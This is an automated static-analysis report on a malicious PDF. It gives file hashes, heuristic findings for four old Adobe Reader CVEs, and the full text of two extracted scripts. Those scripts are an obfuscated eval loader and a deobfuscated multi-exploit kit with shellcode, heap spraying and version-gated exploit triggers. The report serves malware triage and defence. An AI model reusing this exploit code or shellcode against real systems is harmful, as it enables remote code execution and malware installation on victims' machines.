Malicious PDF — malware analysis report

Static analysis result for SHA-256 909c423abc5a0de7…

MALICIOUS

PDF

78.9 KB Authoring application: ring.fromChar First seen: 2012-09-24
MD5: 1e4d4e1e0e60b275556c49979f7d5c75 SHA-1: 51d14fd84e2ecd8127566c0bfbd7b3891660071c SHA-256: 909c423abc5a0de7120fc45d4f0720a77ff68a04f3479ed0e8ded31e052164aa
408 Risk Score

Malware Insights

The PDF contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a javascript_obj0001_000.js artifact. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to perform malicious actions upon opening the document, such as downloading a second-stage payload or exploiting a vulnerability.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x13957 398 bytes
SHA-256: 29edda0cd9a53bc181d0e8b08e48b7dd99e2a035247fbd34ac341550f9389b17
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var kggvs="";
ujvqw='his';
yetoe='tit';
e('nxl=t'+ujvqw+"."+yetoe+t);
t='cer'
kza='produ';
e('uhz=t'+ujvqw+"."+kza+t);
kami=e('St'+uhz+'Code');
alfe = e(nxl);
e('k=alfe.length');
for (i = 0; i < k; i+=2) {
	hrzxy = alfe[i] + alfe[i+1];
	kggvs += kami(hrzxy);
}
e(kggvs);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3648 bytes
SHA-256: 90f0f10ef4772b2de8b1a8ec3991bc6ecc2f84bdcb381cabfb50f52de7244f00
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3ab9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u6c34%ue2aa%uc3fa%ue5e8%uffff%u85ff%u6d60%u6c6c%ued32%u3080%u6c6d%ue56c%ue18b%u7c23%u03e1%u5d38%u3bb7%u3f3d%u3f3f%u3f3f%u3f3f%u3f39%u043f%u6d68%u6c6c%u3a39%u043f%u0203%u6c6c%u1904%u001e%u3801%ue204%u6222%u8480%u6c24%u6c6c%u843c%u6c10%u6c6c%ubc93%ua8ef%u0464%u8323%u6923%u843c%u6c00%u6c6c%ubc93%uace9%u7b19%u3806%u9f35%u04c6%u921e%u7adf%u7184%u6c6c%u3c6c%u3d84%u6c6c%u936c%u3fbc%u9206%ue504%u6d03%u84d1%u6c64%u6c6c%u843c%u6c50%u6c6c%ubc93%u5d0c%u08ac%u3ce7%ue75c%u603e%u3ee7%ue778%u441e%u74d5%u6c6c%u5d6c%u5d93%uc0ac%u0d50%u6e10%u4c40%ua3ad%u6d61%u8eab%ued9c%u3793%u26d0%ue706%u7c2e%u7ee7%ub519%u28e5%u7048%uaf0d%ue70c%u4800%ue748%u5029%u38e7%u1469%u866d%u26e7%ue774%u4c36%u876d%u588f%ue725%ue758%u826d%u935d%uac5d%uc090%uace8%u6b18%ua3ad%u6d61%u87ab%u5798%u4810%u1944%ue78d%u4836%u876d%ue70a%u2760%u36e7%u6d70%ue787%ue768%u846d%u28e5%u7048%uae0d%u6c64%u8384%u9392%u0493%u1818%u561c%u4343%u190b%u0d06%u0318%u4202%u0205%u0b43%u430b%u4208%u041c%u531c%u510a%u555d%u094a%u5951%u006c';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

Open this report in the interactive analyzer, or submit your own file for analysis.